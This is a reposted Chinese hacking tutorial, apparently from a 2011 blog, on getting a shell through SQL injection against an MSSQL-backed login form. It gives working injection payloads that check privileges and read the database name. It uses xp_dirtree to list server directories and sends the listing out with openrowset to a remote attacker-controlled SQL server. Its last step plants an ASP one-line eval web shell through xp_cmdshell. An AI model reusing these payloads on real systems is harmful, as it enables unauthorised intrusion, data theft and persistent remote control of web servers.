高级SQL注入拿shell,一般黑客不知道。哈客
服務器只有一個站,又找不到注入點怎么辦?
? ? 你可以試試在搜索框,登陸,任何框框里放個單引號,看看是否報錯? ?? ??
? ?? ? 初級部分
?? ? ? ? ? ? ?
加個單引號',后面隨便,隨便填個密碼,點擊登陸
?? ? ? ? ? ? ?
典型的SQL注入
判斷權限: ' and user>0--
?? ? ? ? ? ? ? ? ? ? ? ? ?
?? ? ? ? ? ? ?
明顯的sa權限
獲取數(shù)據(jù)庫名字: ' and db_name()>0--
?? ? ? ? ? ? ? ? ? ? ? ?
?? ? ? ? ? ? ?
?? ? ? ? ? ? ??? ??
很容易獲取到,數(shù)據(jù)庫名,如果不是sa權限 ,比如public權限,我們可以通過差異備份獲取shell,但本教程不必了
下面開始高級部分:
就不截圖了,就是把下面代碼放入登錄框執(zhí)行
一:建表,3個字段
';create table nonamed([name] [nvarchar] (300) not null,[depth] [int] not null,[isfile] [nvarchar] (50) null);--
二,把服務器e盤目錄和文件名字全部加入到表中(為什么e盤,因為e盤放的是網(wǎng)站目錄,我就不啰嗦了)
';insert nonamed execute master..xp_dirtree 'e:\',1,1--
三,把此表中內(nèi)容插入到遠程計算機的SQL數(shù)據(jù)庫中,(自己的電腦)
? ?必須有外網(wǎng),
本地的電腦必須有一張和服務器創(chuàng)建相同的表,表名無所謂,此例子為e表
';insert into openrowset('sqloledb', '222.222.222.222';'sa';'123456', 'select * from test.dbo.e') select * from nonamed--
回到本地查詢表e
?? ? ? ? ? ? ? ? ??
?? ? ? ? ? ? ?
上面的第3個XXX_Site 里面就是放的網(wǎng)站,如何看XXX_Site里的內(nèi)容,繼續(xù)循環(huán)執(zhí)行前面二三步就可以了,
再次執(zhí)行要情空表 delete from nonamed
然后執(zhí)行
';insert nonamed execute master..xp_dirtree 'e:\XXX_Site\',1,1--
';insert into openrowset('sqloledb', '222.222.222.222';'sa';'123456', 'select * from test.dbo.e_site') select * from nonamed--
e_site表是本地的表
發(fā)現(xiàn)wwwroot?
好了,寫一句話木馬吧!
';exec master..xp_cmdshell 'Echo ^<%eval request("a")%>^ >e:\xxx_site\wwwroot\a.asp'
public權限可以通過差異備份寫馬,上面已經(jīng)提到了
遠程連接即可
轉載于:https://www.cnblogs.com/amwld/archive/2011/08/11/2134975.html
總結
以上是生活随笔為你收集整理的高级SQL注入拿shell,一般黑客不知道。哈客的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ACPI知识学习笔记
- 下一篇: i-doIT 0.9.9-7发布 CMD